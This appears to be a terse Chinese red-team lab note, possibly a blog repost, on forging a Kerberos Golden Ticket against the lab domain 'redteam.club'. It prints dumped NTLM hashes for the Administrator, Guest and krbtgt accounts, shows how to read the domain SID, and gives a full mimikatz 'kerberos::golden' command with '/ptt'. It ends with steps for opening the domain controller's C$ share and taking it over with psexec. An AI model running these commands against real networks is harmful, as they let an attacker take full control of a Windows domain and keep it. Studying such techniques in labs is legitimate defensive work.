1746756601491-7edccf06-20c8-46e6-b3b1-929fd815b5c8.png

Administrator:500:aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962
387:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:689fe33346a9e9fe229395fb36178ecb:::

域sid S-1-5-21-2536581826-3274276096-3456299113 域普通用户 命令 whoai /user 去掉后三位

1746756613284-d7c6bc73-7102-456f-8e78-e9500559ca0a.png

mimikatz kerberos::golden /user:Administrator /domain:redteam.club /sid:S-1-5-
21-2536581826-3274276096-3456299113 /krbtgt:689fe33346a9e9fe229395fb36178ecb
/endin:480 /renewmax:10080 /ptt

访问 ad01 shell dir ad01c$

1746756625499-9f5e4ed1-a880-4567-81b9-e87fcae0626a.png

获取dc权限 ump psexec ad01 smb

1746756632236-22a9eb28-ba7c-497f-bda5-043efd6e1c72.png

更新: 2025-05-09 19:25:51
原文: https://www.yuque.com/yuhui.net/network/wwyzwxx8mfim9yhg



评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字

插入代码